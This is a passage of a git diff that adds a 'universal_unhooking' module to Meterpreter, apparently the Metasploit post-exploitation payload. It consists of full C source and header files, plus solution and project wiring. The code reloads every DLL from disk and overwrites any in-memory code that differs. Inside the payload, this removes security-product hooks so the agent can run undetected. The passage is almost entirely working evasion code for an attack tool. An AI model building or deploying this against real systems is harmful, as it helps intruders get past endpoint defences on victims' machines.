INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#include "universal_unhooking.h" + +void RefreshPE() +{ + HMODULE hModule; + PWCHAR wszFullDllName; + PWCHAR wszBaseDllName; + ULONG_PTR pDllBase; + + PLDR_DATA_TABLE_ENTRY pLdteHead = NULL; + PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL; + + ResolveImports(); + + OUTPUTDBGA("[*] Running DLLRefresher\n"); + + pLdteHead = GetInMemoryOrderModuleList(); + pLdteCurrent = pLdteHead; + + do { + if (pLdteCurrent->FullDllName.Length > 2) + { + wszFullDllName = pLdteCurrent->FullDllName.pBuffer; + wszBaseDllName = pLdteCurrent->BaseDllName.pBuffer; + pDllBase = (ULONG_PTR)pLdteCurrent->DllBase; + + OUTPUTDBGA("[*] Refreshing DLL: "); + OUTPUTDBGW(wszBaseDllName); + OUTPUTDBGA("\n"); + + hModule = CustomLoadLibrary(wszFullDllName, wszBaseDllName, pDllBase); + + if (hModule) + { + ScanAndFixModule((ULONG_PTR)hModule, pDllBase, wszBaseDllName); + VirtualFree_(hModule, 0, MEM_RELEASE); + } + } + pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink; + } while (pLdteCurrent != pLdteHead); + + FreeImports(); +} + +HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase) +{ + // File handles + HANDLE hFile; + HANDLE hMap; + ULONG_PTR pFile; + + // PE headers + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS pNtHeader; + PIMAGE_SECTION_HEADER pSectionHeader; + + // Library + ULONG_PTR pLibraryAddr; + DWORD dwIdx; + + // Relocation + PIMAGE_DATA_DIRECTORY pDataDir; + PIMAGE_BASE_RELOCATION pBaseReloc; + ULONG_PTR pReloc; + DWORD dwNumRelocs; + ULONG_PTR pInitialImageBase; + PIMAGE_RELOC pImageReloc; + + // Import + PIMAGE_IMPORT_DESCRIPTOR pImportDesc; + PIMAGE_IMPORT_BY_NAME pImportName; + PCHAR szDllName; + PCHAR szBaseDllName; + PCHAR szRedirName; + HMODULE hModule; + PIMAGE_THUNK_DATA pThunkData; + FARPROC* pIatEntry; + + // ---- + // Step 1: Map the file into memory + // ---- + + OUTPUTDBGA("\t[+] Opening file: "); + OUTPUTDBGW(wszFullDllName); + OUTPUTDBGA("\n"); + + hFile = CreateFileW_(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + return NULL; + + hMap = CreateFileMappingW_(hFile, NULL, PAGE_READONLY, 0, 0, NULL); + if (hMap == NULL) + { + CloseHandle_(hFile); + return NULL; + } + + pFile = (ULONG_PTR) MapViewOfFile_(hMap, FILE_MAP_READ, 0, 0, 0); + CloseHandle_(hFile); + CloseHandle_(hMap); + + if (!pFile) + { + return NULL; + } + + // ---- + // Step 2: Parse the file headers and load it into memory + // ---- + pDosHeader = (PIMAGE_DOS_HEADER)pFile; + pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew); + + // allocate memory to copy DLL into + OUTPUTDBGA("\t[+] Allocating memory\n"); + pLibraryAddr = (ULONG_PTR) VirtualAlloc_(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + // copy header + OUTPUTDBGA("\t[+] Copying PE header into memory\n"); + memcpy_((PVOID)pLibraryAddr, (PVOID)pFile, pNtHeader->OptionalHeader.SizeOfHeaders); + + // copy sections + OUTPUTDBGA("\t[+] Copying PE sections into memory\n"); + for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++) + { + pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (dwIdx * sizeof(IMAGE_SECTION_HEADER))); + memcpy_((PVOID)(pLibraryAddr + pSectionHeader->VirtualAddress), + (PVOID)(pFile + pSectionHeader->PointerToRawData), + pSectionHeader->SizeOfRawData); + } + + // unmap the file and update our pointers to the loaded image + UnmapViewOfFile_((PVOID)pFile); + pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr; + pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew); + + // ---- + // Step 3: Calculate relocations + // ---- + OUTPUTDBGA("\t[+] Calculating file relocations\n"); + + pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + pInitialImageBase = pNtHeader->OptionalHeader.ImageBase; + + // set the ImageBase to the already loaded module's base + pNtHeader->OptionalHeader.ImageBase = pDllBase; + + // check if their are any relocations present + if (pDataDir->Size) + { + // calculate the address of the first IMAGE_BASE_RELOCATION entry + pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pLibraryAddr + pDataDir->VirtualAddress); + + // iterate through each relocation entry + while (pBaseReloc->SizeOfBlock) + { + // the VA for this relocation block + pReloc = (pLibraryAddr + pBaseReloc->VirtualAddress); + + // number of entries in this relocation block + dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // first entry in the current relocation block + pImageReloc = (PIMAGE_RELOC) ((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION)); + + // iterate through each entry in the relocation block + while (dwNumRelocs--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we subtract the initial ImageBase and add in the original dll base + if (pImageReloc->type == IMAGE_REL_BASED_DIR64) + { + *(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase; + *(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase; + } + else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW) + { + *(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase; + *(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase; + } + else if (pImageReloc->type == IMAGE_REL_BASED_HIGH) + { + *(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase); + *(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase); + } + else if (pImageReloc->type == IMAGE_REL_BASED_LOW) + { + *(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase); + *(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase); + } + + // get the next entry in the current relocation block + pImageReloc = (PIMAGE_RELOC) (((PCHAR)pImageReloc) + sizeof(IMAGE_RELOC)); + } + + // get the next entry in the relocation directory + pBaseReloc = (PIMAGE_BASE_RELOCATION)(((PCHAR)pBaseReloc) + pBaseReloc->SizeOfBlock); + } + } + + // ---- + // Step 4: Update import table + // ---- + + OUTPUTDBGA("\t[+] Resolving Import Address Table (IAT) \n"); + + pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (pDataDir->Size) + { + pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress); + szBaseDllName = wcstocs_(wszBaseDllName, wcslen_(wszBaseDllName)); + + while (pImportDesc->Characteristics) + { + hModule = NULL; + szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name); + OUTPUTDBGA("\t[+] Loading library: "); + OUTPUTDBGA(szDllName); + OUTPUTDBGA("\n"); + + // If the DLL starts with api- or ext-, resolve the redirected name and load it + if (strnicmp_(szDllName, "api-", 4) == 0 || strnicmp_(szDllName, "ext-", 4) == 0) + { + szRedirName = GetRedirectedName(szBaseDllName, szDllName); + if (szRedirName) + { + hModule = GetLoadedLibrary(szRedirName); + free_(szRedirName); + } + } + + // If the redirected name load failed or it is a normal DLL, just load it + if (hModule == NULL) + hModule = GetLoadedLibrary(szDllName); + + // Ignore libraries that fail to load + if (hModule == NULL) + { + OUTPUTDBGA("\t[-] Failed to load library\n"); + pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR)); + continue; + } + + if (pImportDesc->OriginalFirstThunk) + pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->OriginalFirstThunk); + else + pThunkData = (PIMAGE_THUNK_DATA)(pLibraryAddr + pImportDesc->FirstThunk); + + pIatEntry = (FARPROC*)(pLibraryAddr + pImportDesc->FirstThunk); + + // loop through each thunk and resolve the import + while (DEREF(pThunkData)) + { + if (IMAGE_SNAP_BY_ORDINAL(pThunkData->u1.Ordinal)) + { + *pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)IMAGE_ORDINAL(pThunkData->u1.Ordinal), szDllName); + } + else + { + pImportName = (PIMAGE_IMPORT_BY_NAME)(pLibraryAddr + DEREF(pThunkData)); + OUTPUTDBGA("\t\t[+] Resolving procedure: "); + OUTPUTDBGA((PCHAR)pImportName->Name); + OUTPUTDBGA("\n"); + *pIatEntry = CustomGetProcAddressEx(hModule, (PCHAR)pImportName->Name, szDllName); + } + + // increment pointer to next entry + pThunkData++; + pIatEntry++; + } + + pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((PCHAR)pImportDesc + sizeof(IMAGE_IMPORT_DESCRIPTOR)); + + } + free_(szBaseDllName); + } + + return (HMODULE) pLibraryAddr; +} + +HMODULE GetLoadedLibrary(const PCHAR szModule) +{ + + PLDR_DATA_TABLE_ENTRY pLdteHead = NULL; + PLDR_DATA_TABLE_ENTRY pLdteCurrent = NULL; + PCHAR szEntry; + + OUTPUTDBGA("\t\t\t[*] Searching for loaded module: "); + OUTPUTDBGA(szModule); + OUTPUTDBGA(" -> "); + + pLdteHead = GetInMemoryOrderModuleList(); + pLdteCurrent = pLdteHead; + + do { + if (pLdteCurrent->FullDllName.Length > 2) + { + szEntry = wcstocs_(pLdteCurrent->BaseDllName.pBuffer, pLdteCurrent->BaseDllName.Length); + if (stricmp_(szModule, szEntry) == 0) + { + OUTPUTDBGA("found in memory\n"); + free_(szEntry); + return ((HMODULE)pLdteCurrent->DllBase); + } + free_(szEntry); + } + pLdteCurrent = (PLDR_DATA_TABLE_ENTRY)pLdteCurrent->InMemoryOrderModuleList.Flink; + } while (pLdteCurrent != pLdteHead); + + OUTPUTDBGA("loading from disk\n"); + return LoadLibraryA(szModule); +} + +FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, const PCHAR szOriginalModule) +{ + UINT_PTR uiLibraryAddress = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + UINT_PTR uiFuncVA = 0; + PCHAR szFwdDesc; + PCHAR szRedirModule; + PCHAR szRedirFunc; + PCHAR szRedir; + HMODULE hFwdModule; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + FARPROC fpResult = NULL; + DWORD dwCounter; + + if (hModule == NULL) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); + + // get the VA for the array of name pointers + uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); + + // test if we are importing by name or by ordinal... + if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); + + // resolve the address for this imported function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // import by name... + dwCounter = pExportDirectory->NumberOfNames; + while (dwCounter--) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray)); + + // test if we have a match... + if (strcmp_(cpExportedFunctionName, lpProcName) == 0) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + uiFuncVA = DEREF_32(uiAddressArray); + + // check for redirected exports + if (pDataDirectory->VirtualAddress <= uiFuncVA && uiFuncVA < (pDataDirectory->VirtualAddress + pDataDirectory->Size)) + { + szFwdDesc = (PCHAR)(uiLibraryAddress + uiFuncVA); + ParseFwdDesc(szFwdDesc, &szRedirModule, &szRedirFunc); + + OUTPUTDBGA("\t\t\t[*] Found a redirected entry: "); + OUTPUTDBGA(szFwdDesc); + OUTPUTDBGA("\n"); + + // check for a redirected module name + if (strnicmp_(szRedirModule, "api-", 4) == 0 || strnicmp_(szRedirModule, "ext-", 4) == 0) + { + szRedir = GetRedirectedName(szOriginalModule, szRedirModule); + if (szRedir) + { + free_(szRedirModule); + szRedirModule = szRedir; + } + } + + hFwdModule = GetLoadedLibrary(szRedirModule); + fpResult = CustomGetProcAddressEx(hFwdModule, szRedirFunc, szRedirModule); + free_(szRedirModule); + free_(szRedirFunc); + return fpResult; + } + else + { + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + uiFuncVA); + } + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + return fpResult; + +} + +VOID ScanAndFixModule(ULONG_PTR pKnown, ULONG_PTR pSuspect, PWCHAR wszBaseDllName) +{ + // PE headers + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS pNtHeader; + PIMAGE_SECTION_HEADER pSectionHeader; + + DWORD dwIdx; + + OUTPUTDBGA("[*] Scanning module: "); + OUTPUTDBGW(wszBaseDllName); + OUTPUTDBGA("\n"); + + pDosHeader = (PIMAGE_DOS_HEADER)pKnown; + pNtHeader = (PIMAGE_NT_HEADERS)(pKnown + pDosHeader->e_lfanew); + + // Scan PE header + ScanAndFixSection("Header", (PCHAR)pKnown, (PCHAR)pSuspect, pNtHeader->OptionalHeader.SizeOfHeaders); + + // Scan each section + for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++) + { + pSectionHeader = (PIMAGE_SECTION_HEADER)(pKnown + pDosHeader->e_lfanew + + sizeof(IMAGE_NT_HEADERS) + + (dwIdx * sizeof(IMAGE_SECTION_HEADER))); + + // Skip writable sections + if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) + continue; + + ScanAndFixSection((PCHAR)pSectionHeader->Name, (PCHAR)(pKnown + pSectionHeader->VirtualAddress), + (PCHAR)(pSuspect + pSectionHeader->VirtualAddress), pSectionHeader->Misc.VirtualSize); + } +} + +VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength) +{ + DWORD ddOldProtect; + DWORD count; + PCHAR pbKnown; + PCHAR pbSuspect; + + pbKnown = pKnown; + pbSuspect = pSuspect; + + for (count = 0; count < stLength; count++) + { + if (*pbKnown != *pbSuspect) + { + OUTPUTDBGA("\t[!] Found modification in: "); + OUTPUTDBGA(szSectionName); + OUTPUTDBGA("\n"); + + if (!VirtualProtect_(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect)) + { + OUTPUTDBGA("\t[!] Failed to set memory permissions to PAGE_EXECUTE_READWRITE.\n"); + return; + } + + OUTPUTDBGA("\t[+] Copying known good section into memory.\n"); + memcpy_(pSuspect, pKnown, stLength); + + if (!VirtualProtect_(pSuspect, stLength, ddOldProtect, &ddOldProtect)) + OUTPUTDBGA("\t[!] Failed to reset memory permissions.\n"); + + return; + } + pbKnown++; + pbSuspect++; + } +} \ No newline at end of file diff --git a/c/meterpreter/source/universal_unhooking/universal_unhooking.h b/c/meterpreter/source/universal_unhooking/universal_unhooking.h new file mode 100755 index 00000000..498ef98f --- /dev/null +++ b/c/meterpreter/source/universal_unhooking/universal_unhooking.h @@ -0,0 +1,54 @@ +/************************************************************************************* +* Author: Jeff Tang +* Copyright (c) 2017 Cylance Inc. All rights reserved. * +* * +* Redistribution and use in source and binary forms, with or without modification, * +* are permitted provided that the following conditions are met: * +* * +* 1. Redistributions of source code must retain the above copyright notice, this * +* list of conditions and the following disclaimer. * +* * +* 2. Redistributions in binary form must reproduce the above copyright notice, * +* this list of conditions and the following disclaimer in the documentation and/or * +* other materials provided with the distribution. * +* * +* 3. Neither the name of the copyright holder nor the names of its contributors * +* may be used to endorse or promote products derived from this software without * +* specific prior written permission. * +* * +* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * +* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * +* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * +* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * +* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * +* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * +* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * +* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * +* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * +* * +*************************************************************************************/ +#pragma once +#ifndef _UNIVERSAL_UNHOOKING_H_ +#define _UNIVERSAL_UNHOOKING_H_ + +#define WIN32_LEAN_AND_MEAN +#include + +#include "imports.h" +#include "apisetmap.h" + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +void RefreshPE(); +HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase); +HMODULE GetLoadedLibrary(const PCHAR wszModule); +FARPROC WINAPI CustomGetProcAddressEx(HMODULE hModule, const PCHAR lpProcName, const PCHAR szOriginalModule); +VOID ScanAndFixModule(ULONG_PTR pKnown, ULONG_PTR pSuspect, PWCHAR wszBaseDllName); +VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength); + +#endif // _UNIVERSAL_UNHOOKING_H_ \ No newline at end of file diff --git a/c/meterpreter/workspace/meterpreter.sln b/c/meterpreter/workspace/meterpreter.sln index 4934e7e8..08e1b4e6 100755 --- a/c/meterpreter/workspace/meterpreter.sln +++ b/c/meterpreter/workspace/meterpreter.sln @@ -1,7 +1,7 @@  Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio 14 -VisualStudioVersion = 14.0.25420.1 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.31101.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}" EndProject @@ -10,6 +10,9 @@ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metsrv", "metsrv\metsrv.vcxproj", "{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}" + ProjectSection(ProjectDependencies) = postProject + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF} = {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF} + EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj", "{72F0246A-A38D-4547-9057-46020E8E503D}" EndProject @@ -41,6 +44,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_winpmem", "ext_s EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_peinjector", "ext_server_peinjector\ext_server_peinjector.vcxproj", "{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "universal_unhooking", "universal_unhooking\universal_unhooking.vcxproj", "{ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution r7_release|Win32 = r7_release|Win32 @@ -199,6 +204,14 @@ Global {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|Win32.Build.0 = Release|Win32 {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.ActiveCfg = Release|x64 {2A4FDCA0-A620-4E98-AF05-2B2F227F5166}.Release|x64.Build.0 = Release|x64 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|Win32.ActiveCfg = r7_release|Win32 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|Win32.Build.0 = r7_release|Win32 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|x64.ActiveCfg = r7_release|x64 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.r7_release|x64.Build.0 = r7_release|x64 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|Win32.ActiveCfg = Release|Win32 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|Win32.Build.0 = Release|Win32 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|x64.ActiveCfg = Release|x64 + {ADCF32A5-F2FC-41D0-BC25-8B3B81D02CBF}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 47d46b82..87ebda40 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -409,6 +409,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho {72f0246a-a38d-4547-9057-46020e8e503d} false + + {adcf32a5-f2fc-41d0-bc25-8b3b81d02cbf} + diff --git a/c/meterpreter/workspace/universal_unhooking/universal_unhooking.vcxproj b/c/meterpreter/workspace/universal_unhooking/universal_unhooking.vcxproj new file mode 100755 index 00000000..b26c97ed --- /dev/null +++ b/c/meterpreter/workspace/universal_unhooking/universal_unhooking.vcxproj @@ -0,0 +1,449 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + r7_debug + Win32 + + + r7_debug + x64 + + + r7_release + Win32 + + + r7_release + x64 + + + Release + Win32 + + + Release + x64 + + + + {adcf32a5-f2fc-41d0-bc25-8b3b81d02cbf} + universal_unhooking + Win32Proj + + + + StaticLibrary + MultiByte + false + v120_xp + + + StaticLibrary + MultiByte + false + v120_xp + + + StaticLibrary + MultiByte + v120_xp + + + StaticLibrary + MultiByte + v120_xp + + + StaticLibrary + MultiByte + false + v120_xp + + + StaticLibrary + MultiByte + false + v120_xp + + + StaticLibrary + MultiByte + v120_xp + + + StaticLibrary + MultiByte + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + netapi32.lib mpr.lib %(AdditionalOptions) + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX86 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + Disabled + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + netapi32.lib mpr.lib %(AdditionalOptions) + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX86 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + ProgramDatabase + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + Windows + MachineX64 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;UNIVERSAL_UNHOOKING_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + ProgramDatabase + ..\..\source\ReflectiveDLLInjection\common;..\..\source\universal_unhooking;..\..\deps\openssl\include;%(AdditionalIncludeDirectories) + true + + + backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX64 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST 